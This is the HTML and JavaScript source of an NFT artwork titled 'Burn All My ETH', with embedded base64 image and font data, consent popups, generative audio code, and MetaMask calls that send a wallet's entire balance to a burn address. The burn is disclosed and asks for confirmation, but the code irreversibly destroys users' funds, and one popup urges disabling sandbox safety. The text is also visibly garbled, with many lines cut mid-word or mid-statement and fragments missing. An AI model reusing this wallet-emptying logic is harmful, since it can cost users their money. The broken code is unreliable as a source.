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" id="ethburnanimation"/>
<button id="burn">BURN ALL MY ETH</button>
<div class="alert" id="security">
<p>ERROR <span class="yellow">Safety is enabled.</span></p>
<p>The host or browser enabled sM
andboxing protection. This is expected behavior for most marketplaces and listings.</p>
<p>Please view this artwork from here instead: <a href="https://dadabots.com/burnallmyeth/1" target="_blank">dadabots.com/burnallmyeth/100</a></p>
<p>Or host it yourself with safety disabled. </p>
<button id="security1">OK</button>
<button id="security2">STILL NOT WORKING</button>
<div class="alert" id="help">
<p>If it's still not working for you, please reach out to DADABOTS (CJ Carr) and I wM
ill get it functioning on your device, or anywhere you are exhibiting this artwork </p>
<p><a href="https://twitter.com/dadabots" target="_blank">@dadabots</a> | <a href="https://dadabots.com" target="_blank">dadabots.com</a></p>
<button id="help1">OK</button>
<button id="help2">ARTIST IS DECEASED</button>
<div class="alert" id="deceased">
<p>If this is the future, and I'm deceased or otherwise incapacitated,
please fix my code. Add shims. Remove the safety. Create a website for vM
iewing this artwork with the intended functionality restored.
  <button id="deceased1">OK :'(</button>
<div class="alert" id="consent">
<p>You will be prompted through MetaMask to submit a txn which will <span class="yellow">burn all ETH</span> in your wallet.</p>
<p>You will lose all that money. This is irreversible. Do you understand?</p>
  <button id="consent1">CANCEL</button>
  <button id="consent2">I UNDERSTAND</button>
ss="alert" id="wait">
<p style="text-align: center" id="status">...</p>
<div class="alert" id="info">
<p class="">0xdaDA00000000000000000000000000000000dEad<br> will be used as the burn address</p>
<p class="">If you are connected to a different EVM network (e.g. testnet, Polygon) you will be prompted to burn that network's default token</p>
  <button id="info1">CANCEL</button>
  <button id="info2">I UNDERSTAND</button>
<div class="alert" id="noM
<p>ERROR <span style="yellow">MetaMask</span> was not found in your browser.</p>
<p>Please view this artwork from a browser with MetaMask installed</p>
  <button id="notfound1">OK</button>
<div class="alert" id="zerofunds">
<p>ERROR <span class="yellow">Zero Balance</span></p>
<p>Your account has zero balance. Did you already burn it all?</p>
  <button id="zerofunds1">lol</button>
<div class="alert" id="login">
 Metamask and try again</p>
  <button id="login1">OK</button>
<div class="alert" id="nointernet">
<p>ERROR <span class="yellow">Network Connection</span></p>
<p>Could not retreive a gas price from the network. Check your internet.</p>
<p id="framecheckmsg">Are you viewing from sandboxed website? It so, they may have disabled this artwork's outgoing internet</p>
  <button id="nointernet1">CANCEL</button>
  <button id="nointernet2">YES</button>
 class="alert" id="insufficientbalance">
<p>ERROR <span style="yellow">Insufficient Balance</span></p>
<p>Your account's balance is too low to pay the gas to submit the burn txn.</p>
  <button id="insufficientbalance1">CANCEL</button>
<div class="alert" id="complete">
<p style="text-align: center"><span class="yellow"   >Burn complete</span></p>
<p  style="text-align: center" > Account balance: zero.</p>
<p  style="text-align: center"  id="successmessage"></p>
  <button id="complete1">:|</button>
<div class="alert" id="noburn">
<p style="text-align: center" id="failmessage"></p>
  <button id="noburn1">:|</button>
let token_id = 20; //Math.floor(Math.random()*133)+1
let popups = ["info","consent","deceased","help","security","wait",
  "complete","insufficientbalance","nointernet","login","zerofunds","notfound","noburn"];
  return document.getElemeM
function open(popup){
  el(popup).style.display = "block"
  console.log(popups)
  for(let i in popups){
    el(id).style.display = "none"
  el("nointernet").style.display = "none"
// close button action
let close_buttons = ["info1","consent1","help1","security1","deceased1","info2",
  "zerofunds1","notfound1","noburn1","nointernet1","complete1"];
for(let id in close_buttons){
  el(close_buttons[id]).onclick = function(){
    el("body").classList.remove("open")
// burn button action
el("burn").onclick = function(){
  el("body").classList.add("open")
  el("consent").style.display = "block"
el("security2").onclick = function(){
el("help2").onclick = function(){
el("consent2").onclick = function(){
el("info2").onclick = function(){
el("login1").onclick = function(){
el("nointernet2").onclick = function(M
let account, transactionParam, gasPrice, balance, burnvalue;
  console.log("Ethinfo")
  console.log("window.ethereum", window.ethereum)
  if(!window.ethereum){
    console.error("No ethereum")
    open("notfound")
  console.log("window.ethereum.isMetaMask", window.ethereum.isMetaMask)
  if (!window.ethereum.isMetaMask) {
    console.warning("No metamask")
    open("notfound")
  el("status").innerHTML M
= "Fetching gas price..."
  let timeout = setTimeout(function(){
    console.error("Trouble Fetching Gas Price");
    console.log(window.parent.location, window.location)
    if(window.parent.location != window.location){
      open("security")
      open("nointernet")
    clearTimeout(timeout);
  ethereum.request({method: 'eth_gasPrice'})
  .catch((error) => {
    clearTimeout(timeout);
    console.error("eth_gasPrice", error)
    clearTimeout(timeout);
    console.log("gasPrice", gasPrice);
    el("status").innerHTML = "Connecting to wallet..."
    console.log("get account")
    ethereum.request({method: 'eth_requestAccounts'})
    .catch((error) => {
      console.error("eth_requestAccounts", error)
      if(error.code==-32002){
        // please login
        el("status").innerHTML = "Please login and ..."
        open("login")
        open("login")
    .then(accounts => {
      account = accounts[0];
onsole.log("account", account);
      // get account balance
      el("status").innerHTML = "Retreiving balance..."
      ethereum.request({method: 'eth_getBalance' , params: [account, 'latest']})
      .catch((error) => {
        console.error("getBalance", error)
        el("status").innerHTML = "Could not retreive balance. Check your internet connection."
        //open("login")
      }).then(result => {
        console.log("balance", result);
        balance = result;
        if(balance=="0x0"){
          console.error("zero balance")
          open("zerofunds")
          // check if hae enough balance
          let txnfee = BigInt(txngas)*BigInt(gasPrice)
          if(txnfee > BigInt(balance)){
            console.error("not enough to pay gas")
            open("insufficientbalance")
            // calculate amount to burn minus txnfee
            // such that afterward the account goes to zero without dust
            burnvalue = (BigInt(balance) - M
(BigInt(txngas)*BigInt(gasPrice)))
            burnvalue = "0x" + burnvalue.toString(16)
            console.log("burnvalue", burnvalue)
            // build burn transaction
            transactionParam = {
              to: '0xdaDA00000000000000000000000000000000dEad',
              from: account,
              value: burnvalue,
              gasPrice: gasPrice
            el("status").innerHTML = burnconfirm
            ethereum.request({method: 'eth_sendTransaction', params:[transactionParam]})M
            .catch((error) => {
              console.error("eth_sendTransaction", error)
              if(error.code==4001){
                // user denied txn
                console.log("user denied txn")
                el("status").innerHTML = "There shall be no burn this day."
                open("noburn")
              }else{
                el("status").innerHTML = "Txn error"
              throw new Error('');
            .then(txhash => {
              console.log("txnhasM
              if(txhash===undefined){
                // no txn
                console.error("no txn")
              }else{
                checkTransactionconfirmation(txhash)
function checkTransactionconfirmation(txhash) {
  let checkTransactionLoop = () => {
    return ethereum.request({method:'eth_getTransactionReceipt',params:[txhash]}).then(r => {
        console.log(r);
        el("status").innM
erHTML = "Success..."
        open("complete")
        el("status").innerHTML = "Burning all your ETH..."
        return checkTransactionLoop();
  return checkTransactionLoop();
function sfc32(a, b, c, d) {
    return function() {
      a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
      var t = (a + b) | 0;
      a = b ^ b >>> 9;
      b = c + (c << 3) | 0;
      c = (c << 21 | c >>> 11);
      d = d + 1 | 0;
      t = t + d | 0;
      return (t >>> 0) / 4294967296;
var seed = 1337 ^ (0xDEADBEEF)
var pseudorandom = sfc32(0x9E3779B9, 0x243F6A88, 0xB7E15162, seed+token_id);
// waiting for user to confirm burn txn
let msgs0 = ["In parkour, there's a philosophical mindset one develops with onself, standing at the edge of a rooftop, contemplating the leap across the void, over the infinity of the bottomless pit, to the building across.", "To stand at the precipise...","To contemplate the choice of annihilation...","ConfiM
rm the burn","Over the infinity of the bottomless pit"]
let msgs1 = ["You masochistic weirdo", "The gods smile upon you"]
let msgs2 = ["There shall be no burn today", "Alas the fear too great",
for(let _=0;_<15;_++){
let mr0 = Math.floor(pseudorandom()*msgs0.length)
let mr1 = Math.floor(pseudorandom()*msgs1.length)
let mr2 = Math.floor(pseudorandom()*msgs2.length)
let burnconfirm= msgs0[mr0]
console.log(token_id, mr0,mr1,mr2)
sage").innerHTML = msgs1[mr1]
el("failmessage").innerHTML = msgs2[mr2]
let srmult = 0.5 * pseudorandom() + 0.5
let r1 = pseudorandom()
let r2 = pseudorandom()
let r3 = pseudorandom()
let r4 = pseudorandom()
let r5 = pseudorandom()
let rtri = pseudorandom()
let rsin = pseudorandom()
let rfilf = pseudorandom()
let rfilq = pseudorandom()
const audioContext = new AudioContext({
  sampleRate: 32000 * srmult
var bufferSize = 512;
var whiteNoise = audioContext.createScriptProcessor(M
whiteNoise.onaudioprocess = function(e) {
    var output = e.outputBuffer.getChannelData(0);
    for (var i = 0; i < bufferSize; i++) {
        /*let d = 1.04
        output[i] = (Math.floor(Math.random()*d)/d) * 2 - 1;*/
        if(Math.random()<0.0003){ n1 = -1 }else{ n1 = 1 }
        if(Math.random()<0.001){ n2 = -1 }else{ n2 = 1 }
        if(Math.random()<0.003){ n3 = -1 }else{ n3 = 1 }
        if(Math.random()<0.01){ n4 = -1 }else{ n4 = 1 }
        if(Math.random()<0.03){ n5 = -1 }M
        //y /= (i%500)/8000*2
        tri = (t/360*1.4/srmult % Math.PI)*0.0005*rtri
        sin = rsin*Math.sin(t/360*1.4 / srmult) + (1-rsin)
        output[i] = (n1*0.5*r1 + n2*0.3*r2 + n3*0.1*r3 + n4*0.01*r4 + n5*0.004*r5)*0.1 * sin + tri
        if(rfilf<.1){
          output[i] *= 5
        }else if(rfilf<.2){
          output[i] *= 3
        }else if(rfilf<.3){
          output[i] *= 2
// parameterized filter
var filter = audioContext.createBiquadFilter();
ilter.frequency.value = 200 * Math.pow(2,rfilf*9)
filter.Q.value = 0.5 + 5*rfilq;
var filter2 = audioContext.createBiquadFilter();
filter2.frequency.value = 4000
filter2.Q.value = 0.1
var volume = audioContext.createGain();
volume.gain.value = 1.0;
whiteNoise.connect(filter);
filter.connect(filter2);
filter2.connect(volume);
volume.connect(audioContext.destination)
function unsuspend(){
  // check if context is in suspended state (autoplay policy)
  if (audioContext.state === 'suspeMR
    audioContext.resume();
document.body.addEventListener("touchstart", unsuspend, false);
document.body.addEventListener("touchmove", unsuspend, false);
document.body.addEventListener("mousedown", unsuspend, false);
document.body.addEventListener("mouseclick", unsuspend, false);
FjDOUT:1CA41DB3FDE9EDA8CBAF61C99577A8F84FA8E561F0A608EEC092559BF1331112
text/html;charset=utf-8
by dadabots (cj carr)
published feb 14, 2023
This artpiece could cause you to lose everything in your wallet.
In parkour, there's a philosophical mindset one develops with onself, standing at the edge of a rooftop, contemplating the leap across the void, over the infinity of the bottomless pit, to the building across.
To stand at the precipise and contemplate the choice of annihilation, as in the absurdism of Albert Camus, is to come into yourM
 own power and free will. Realize you're always in the driver's seat of your own life.
<meta name="viewport" content="width=device-width, initial-scale=1.0">
  font-family: 'mono';
  font-style: normal;
  font-display: swap;
  src: url("data:application/x-font-woff;charset=utf-8;base64,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
